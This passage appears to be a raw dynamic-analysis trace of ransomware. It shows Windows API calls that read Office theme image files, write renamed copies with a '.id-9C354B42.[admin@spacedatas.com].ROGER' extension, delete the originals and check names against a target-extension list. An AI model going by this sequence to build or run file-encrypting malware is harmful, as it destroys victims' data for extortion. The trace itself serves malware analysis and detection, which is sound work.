(in: hFile=0x3d8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x8200, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x8200, lpOverlapped=0x0) returned 1 [0048.174] ReadFile (in: hFile=0x358, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.174] WriteFile (in: hFile=0x3d8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.174] SetEndOfFile (hFile=0x3d8) returned 1 [0048.174] CloseHandle (hObject=0x3d8) returned 1 [0048.174] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.174] SetEndOfFile (hFile=0x358) returned 1 [0048.175] CloseHandle (hObject=0x358) returned 1 [0048.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.175] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 1 [0048.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.176] lstrlenW (lpString=".doc") returned 4 [0048.176] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.176] lstrlenW (lpString=".docx") returned 5 [0048.176] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.176] lstrlenW (lpString=".pdf") returned 4 [0048.176] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.176] lstrlenW (lpString=".xls") returned 4 [0048.176] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.176] lstrlenW (lpString=".xlsx") returned 5 [0048.176] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.176] lstrlenW (lpString=".ppt") returned 4 [0048.176] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.176] lstrlenW (lpString=".zip") returned 4 [0048.176] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.176] lstrlenW (lpString=".rar") returned 4 [0048.176] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.176] lstrlenW (lpString=".bz2") returned 4 [0048.176] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.176] lstrlenW (lpString=".7z") returned 3 [0048.176] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.176] lstrlenW (lpString=".dbf") returned 4 [0048.176] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.176] lstrlenW (lpString=".1cd") returned 4 [0048.176] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.176] lstrlenW (lpString=".jpg") returned 4 [0048.176] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.177] lstrlenW (lpString=".doc") returned 4 [0048.177] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.269] lstrlenW (lpString=".docx") returned 5 [0048.269] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.269] lstrlenW (lpString=".pdf") returned 4 [0048.269] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.269] lstrlenW (lpString=".xls") returned 4 [0048.269] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.269] lstrlenW (lpString=".xlsx") returned 5 [0048.269] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.269] lstrlenW (lpString=".ppt") returned 4 [0048.269] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.269] lstrlenW (lpString=".zip") returned 4 [0048.270] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.270] lstrlenW (lpString=".rar") returned 4 [0048.270] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.270] lstrlenW (lpString=".bz2") returned 4 [0048.270] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.270] lstrlenW (lpString=".7z") returned 3 [0048.270] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.270] lstrlenW (lpString=".dbf") returned 4 [0048.270] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.270] lstrlenW (lpString=".1cd") returned 4 [0048.270] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0048.270] lstrlenW (lpString=".jpg") returned 4 [0048.270] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.270] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0048.270] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.271] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=32433) returned 1 [0048.271] CloseHandle (hObject=0x36c) returned 1 [0048.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 0x20 [0048.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.271] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.271] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0048.271] GetLastError () returned 0x0 [0048.272] ReadFile (in: hFile=0x36c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x7eb1, lpOverlapped=0x0) returned 1 [0048.273] WriteFile (in: hFile=0x3a0, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x7ec0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x7ec0, lpOverlapped=0x0) returned 1 [0048.274] ReadFile (in: hFile=0x36c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.275] WriteFile (in: hFile=0x3a0, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.275] SetEndOfFile (hFile=0x3a0) returned 1 [0048.275] CloseHandle (hObject=0x3a0) returned 1 [0048.275] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.275] SetEndOfFile (hFile=0x36c) returned 1 [0048.276] CloseHandle (hObject=0x36c) returned 1 [0048.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.276] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 1 [0048.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.276] lstrlenW (lpString=".doc") returned 4 [0048.276] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.276] lstrlenW (lpString=".docx") returned 5 [0048.276] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.276] lstrlenW (lpString=".pdf") returned 4 [0048.277] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.277] lstrlenW (lpString=".xls") returned 4 [0048.277] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.277] lstrlenW (lpString=".xlsx") returned 5 [0048.277] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.277] lstrlenW (lpString=".ppt") returned 4 [0048.277] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.277] lstrlenW (lpString=".zip") returned 4 [0048.277] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.277] lstrlenW (lpString=".rar") returned 4 [0048.277] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.277] lstrlenW (lpString=".bz2") returned 4 [0048.277] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.277] lstrlenW (lpString=".7z") returned 3 [0048.277] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.277] lstrlenW (lpString=".dbf") returned 4 [0048.277] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.277] lstrlenW (lpString=".1cd") returned 4 [0048.277] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.277] lstrlenW (lpString=".jpg") returned 4 [0048.277] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.277] lstrlenW (lpString=".doc") returned 4 [0048.277] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.277] lstrlenW (lpString=".docx") returned 5 [0048.277] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.277] lstrlenW (lpString=".pdf") returned 4 [0048.278] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.278] lstrlenW (lpString=".xls") returned 4 [0048.278] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.278] lstrlenW (lpString=".xlsx") returned 5 [0048.278] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.278] lstrlenW (lpString=".ppt") returned 4 [0048.278] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.278] lstrlenW (lpString=".zip") returned 4 [0048.278] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.278] lstrlenW (lpString=".rar") returned 4 [0048.278] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.278] lstrlenW (lpString=".bz2") returned 4 [0048.278] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.278] lstrlenW (lpString=".7z") returned 3 [0048.278] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.278] lstrlenW (lpString=".dbf") returned 4 [0048.278] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.278] lstrlenW (lpString=".1cd") returned 4 [0048.278] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0048.278] lstrlenW (lpString=".jpg") returned 4 [0048.278] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.278] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0048.278] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.279] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=5120) returned 1 [0048.279] CloseHandle (hObject=0x36c) returned 1 [0048.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 0x20 [0048.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.279] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.279] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.279] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.279] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0048.281] GetLastError () returned 0x0 [0048.281] ReadFile (in: hFile=0x36c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x1400, lpOverlapped=0x0) returned 1 [0048.282] WriteFile (in: hFile=0x3a0, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x1410, lpOverlapped=0x0) returned 1 [0048.283] ReadFile (in: hFile=0x36c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.283] WriteFile (in: hFile=0x3a0, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.283] SetEndOfFile (hFile=0x3a0) returned 1 [0048.283] CloseHandle (hObject=0x3a0) returned 1 [0048.283] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.283] SetEndOfFile (hFile=0x36c) returned 1 [0048.284] CloseHandle (hObject=0x36c) returned 1 [0048.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.284] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 1 [0048.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.285] lstrlenW (lpString=".doc") returned 4 [0048.285] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.285] lstrlenW (lpString=".docx") returned 5 [0048.285] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.285] lstrlenW (lpString=".pdf") returned 4 [0048.285] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.285] lstrlenW (lpString=".xls") returned 4 [0048.285] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.285] lstrlenW (lpString=".xlsx") returned 5 [0048.285] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.285] lstrlenW (lpString=".ppt") returned 4 [0048.285] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.285] lstrlenW (lpString=".zip") returned 4 [0048.285] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.285] lstrlenW (lpString=".rar") returned 4 [0048.285] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.285] lstrlenW (lpString=".bz2") returned 4 [0048.285] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.285] lstrlenW (lpString=".7z") returned 3 [0048.285] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.285] lstrlenW (lpString=".dbf") returned 4 [0048.285] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.285] lstrlenW (lpString=".1cd") returned 4 [0048.285] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.286] lstrlenW (lpString=".jpg") returned 4 [0048.286] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.286] lstrlenW (lpString=".doc") returned 4 [0048.286] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.286] lstrlenW (lpString=".docx") returned 5 [0048.286] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.286] lstrlenW (lpString=".pdf") returned 4 [0048.286] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.286] lstrlenW (lpString=".xls") returned 4 [0048.286] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.286] lstrlenW (lpString=".xlsx") returned 5 [0048.286] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.286] lstrlenW (lpString=".ppt") returned 4 [0048.286] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.286] lstrlenW (lpString=".zip") returned 4 [0048.286] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.286] lstrlenW (lpString=".rar") returned 4 [0048.286] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.286] lstrlenW (lpString=".bz2") returned 4 [0048.287] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.287] lstrlenW (lpString=".7z") returned 3 [0048.287] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.287] lstrlenW (lpString=".dbf") returned 4 [0048.287] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.287] lstrlenW (lpString=".1cd") returned 4 [0048.287] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.287] lstrlenW (lpString=".jpg") returned 4 [0048.287] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.287] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0048.287] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.288] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=60724) returned 1 [0048.288] CloseHandle (hObject=0x36c) returned 1 [0048.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 0x20 [0048.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.288] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.288] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 